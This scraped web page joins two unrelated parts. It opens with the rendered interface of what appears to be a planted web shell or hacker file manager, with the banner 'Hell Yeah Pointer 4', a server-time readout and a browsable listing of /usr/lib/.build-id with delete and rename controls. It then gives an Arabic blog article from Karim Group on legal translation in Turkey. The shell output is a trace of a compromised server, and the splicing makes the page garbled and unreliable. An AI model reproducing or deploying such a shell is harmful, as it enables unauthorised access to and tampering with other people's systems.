Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-10 12:00:13
curdir: / / usr / lib / .build-id / ac / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-02-19 04:23:45 0755
.. 4096 2026-02-18 14:39:34 0755
274241dfa8eeae9efcaf75624e20bdcd3d0cf3 2121912 2020-05-27 12:51:25 0755
2848375b6134561844621144dee752287e94df 12064 2024-04-02 21:37:43 0755
2865c5a4e41f3870d96652b46ba0d7b4c1f0b9 46256 2020-11-06 18:45:19 0755
45973a041d32043e29df630aa6b168932ec9f1 29344 2025-08-26 12:08:24 0755
59ce934433ca2cc2934193649868f304782357 1970-01-01 03:00:00 0
7bff301c7f85c63058e537987c5bcf93c863c8 1970-01-01 03:00:00 0
7fffea0c8e13b34749f73b6fd0547e3ec51afe 12104 2024-04-02 21:37:43 0755
8ca34595aa69d3dcb5a3151b34a1bef09cc071 187552 2023-10-14 21:54:49 0755
9459175fc6bd115d9c67462199378b34ce37bc 1970-01-01 03:00:00 0
96067e206714d3eb6dc9f1d32b9935ce0bd8b6 1970-01-01 03:00:00 0
9876f4f39389046c39b2d396e199ec1b1f6170 29184 2025-08-26 12:04:13 0755
9b85c0afda59e678314461fe09b461732f4749 12064 2025-12-08 12:43:19 0755
9f50377915bb0785d0071439146f116441995c 1970-01-01 03:00:00 0
a33aae50ea25717e0af17b5fe1efa5a025f758 32520 2024-04-10 07:58:50 0755
b57de390f13b744d944c536e5fdef2318e3254 5473920 2020-01-28 07:12:10 0755
c5cf598f2232be3aa2ce077e42ffc733212c92 1970-01-01 03:00:00 0
c845be39e912c83c7dc90f3c225c88326bbfe7 51144 2025-12-18 16:54:40 0755
cc0fe49652da9942dede41ae2d92ad02aa5fad 2374688 2025-11-06 10:45:52 0755
d0e85577699ac71d1857f15c4b4e4bf485a7a3 19936 2024-07-29 17:30:44 0755
d7a00cd42172246f597f4a746d929e14c85bcb 45064 2019-10-13 11:46:11 0755
d7c9c3162da4146e60122a283a244e67e8646c 37848 2025-11-20 10:31:32 0755
e127e0711d4e83d4e593de96e9f970731bece5 117992 2025-12-18 05:27:48 0755
e43c0337eb1d8504a6bcf34895e256b7285e51 1970-01-01 03:00:00 0
f0ca522b195f6b1f257be1e262b0f08ce3b3e9 40928 2025-11-05 13:21:41 0755
fcefae8a12d9890d02b3c02e81e7be83e5f34f 1154680 2025-08-26 11:48:39 0755
مجموعة كريم - الترجمة القانونية الاحترافية في تركيا

الترجمة القانونية الاحترافية في تركيا

Blog Details

الترجمة القانونية الاحترافية في تركيا

 

لا شك أن أهم احتياجات الوافد الأجنبي إلى تركيا هي الترجمة من اللغة العربية أو الإنجليزية أو لغته الأم إلى اللغة التركية، ولكن الكثير من الناس من يقع بخطأ الوثوق بأشخاص لا ينبغي الوثوق بهم، لأن الدوائر الحكومية الرسمية تشترط شروطا لتعتمد الترجمة ولتكون قانونية فيها.

لذا سنتعرف في هذه المقالة على الترجمة القانونية في تركيا.

 

ما هي الترجمة القانونية؟

إن للترجمة القانونية العديد من المصطلحات والتعاريف التي ممكن أن نعرفها بها، ومن أشهر هذه التعريفات أنها عملية تشمل نقل نصوص معينة من لغة إلى لغة أخرى، مع وجوب التقيد التام بنظام المصطلحات القانونية، وكيفيتها، وأصل الصياغة القانونية التي يجب أن تتوافق مع القوانين والتشريعات الوطنية للغة الدولة التي يتم الترجمة إليها.

 

ما هي خصائص الترجمة القانونية؟

  • مهارة عالية في اللغة

إن المترجم القانوني يجب أن يمتلك مهارات عالية في اللغتين، وأن يستطيع أن يقدّر البدائل بين اللغتين لتحيق التكافؤ الوظيفي أثناء الترجمة عبر التوافق بين المعاني القانونية واللغوية والنص الذي يتم ترجمته.

  • إتقان اللغة بكامل مصطلحاتها

على المترجم القانوني أن يكون متقنا للغتين ومصطلحاتهم بشكل كامل، وبالأخص المصطلحات القانونية التي يتم طلب المترجم لها، لذا على المترجم القانوني أن يكون على دراية تامة بالمصطلحات وما يقابل كل مصطلح في اللغتين.

  • الالتزام بحرفية النص

ينص على المترجم القانوني أن يكون ملتزما بحرفية النص، ومعناه الأصلي، بدون أن يجتهد في التفسيرات وتأويل المعاني المتعلقة بالنص.

  • الأمانة

إن أهم خصائص الترجمة القانونية هي الأمانة العلمية والمهنية، وعدم التلاعب لكي يحقق استيفاء المعنى، ومقابلته في اللغة الثانية بشكل كامل دون زيادة أو نقصان.

 

ما الفرق بين الترجمة العادية والترجمة القانونية؟

بكل بساطة، إن الترجمة العادية هي التي تكون ترجمة الحديث من لغة إلى لغة معينة، أما الترجمة القانونية فهي الترجمة الأكثر تعقيدا، لأنه يتم استعمال الترجمة القانونية في الدوائر الحكومية الرسمية والمشافي والمدارس، ولذلك يحتاج المترجم القانوني إلى أن يكون مترجما محلفا في تركيا ومعترف به، والترجمان المحلف له شروط وشهادة ورخصة لمزاولة العمل القانوني للترجمة، ومن الشروط التي يتم وضعها للحصول على رخصة الترجمة المحلفة في تركيا، أن يكون من الأشخاص الحاملين للجنسية التركية، وأن يكون غير محكوم.

 

ما هي أهمية الترجمة القانونية في تركيا؟

إن مع توسع نطاق الاستثمارات العربية والأجنبية في ولايات تركيا، بالتزامن مع نهضة السوق العقاري الهائلة التي تشهدها تركيا في الفترة الأخيرة، والإقبال غير المسبوق من الطلاب الأجانب والعرب على الجامعات التركية، والنشاط السياحي الكبير الذي يترافع مع قدوم أعداد هائلة وكبيرة من السياح العرب والأجانب إلى تركيا، فنجد أننا بحاجة ماسة إلى وجود هيئات ذات صبغة رسمية تقدم خدمات الترجمة المحلفة والاحترافية للعقود والمواثيق والمستندات والأوراق اللازمة لكافة الأطياف من المستثمرين والطلاب والسياح في تركيا.

وهنا تكمن أهمية المترجم المحلف في تركيا الذي لا يمكن للأجانب الاستغناء عن خدماته بأي حال من الأحوال، فترجمة الأوراق الرسمية، وتصديقها في دوائر النوتر (كاتب العدل) يمنح تلك الأوراق القيمة القانونية التي تمكن أصحابها من الاستفادة من هذه الأوراق.

 

خدمات الترجمة القانونية في تركيا

مجموعة كريم للترجمة القانونية في خدمتكم في كل ما يتعلق في الترجمة القانونية المتعلقة، في إدارة العقود، والتعاقدات العقاري والتجارية وهي من المهارات التي تقدمها مجموعة كريم بجميع اللغات ترجمة دقيقة.

 

ويتكون الفريق مجموعة من المترجمين المؤهلين وأصحاب الكفاءة والخبرة الواسعة والمعترف عليهم من قبل عدد كبير من المؤسسات القانونية، وشركات المحاماة، ومكاتب الاستشارات القانونية، حيث نقوم بترجمة المذكرات والأحكام القضائية وجميع المستندات من الإنجليزية إلى التركي في تركيا ترجمة جوازات السفر ومستندات الشركات من العربية إلى الإنجليزية في تركيا ترجمة العقود وشهادات الميلاد من العربية إلى التركي في تركيا نضع كافة خدمات الترجمة القانونية في جميع المدن التركية بين يديك.